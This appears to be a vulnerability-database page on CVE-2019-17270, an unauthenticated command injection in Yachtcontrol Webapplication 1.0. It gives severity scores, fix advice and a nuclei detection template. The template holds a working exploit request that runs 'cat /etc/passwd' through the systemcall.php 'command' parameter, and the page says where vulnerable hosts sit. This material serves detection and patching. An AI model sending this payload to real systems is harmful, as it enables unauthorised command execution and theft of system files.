HexBrain

Browse / CVEs / CVE-2019-17270

CVE-2019-17270· yachtcontrol / yachtcontrol· CWE-78

Yachtcontrol Webapplication 1.0 - Remote Command Injection

criticalseverity
9.8CVSS score
58%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.

Fix

Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/pages/systemcall.php?command=cat%20/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-17270 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-17270

info:
  name: Yachtcontrol Webapplication 1.0 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: |
    Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47760
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17270
    - http://packetstormsecurity.com/files/155582/Yachtcontrol-2019-10-06-Remote-Code-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17270
    cwe-id: CWE-78
    epss-score: 0.57981
    epss-percentile: 0.99094
    cpe: cpe:2.3:a:yachtcontrol:yachtcontrol:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yachtcontrol
    product: yachtcontrol
  tags: cve,cve2019,rce,yachtcontrol,edb,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/systemcall.php?command=cat%20/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from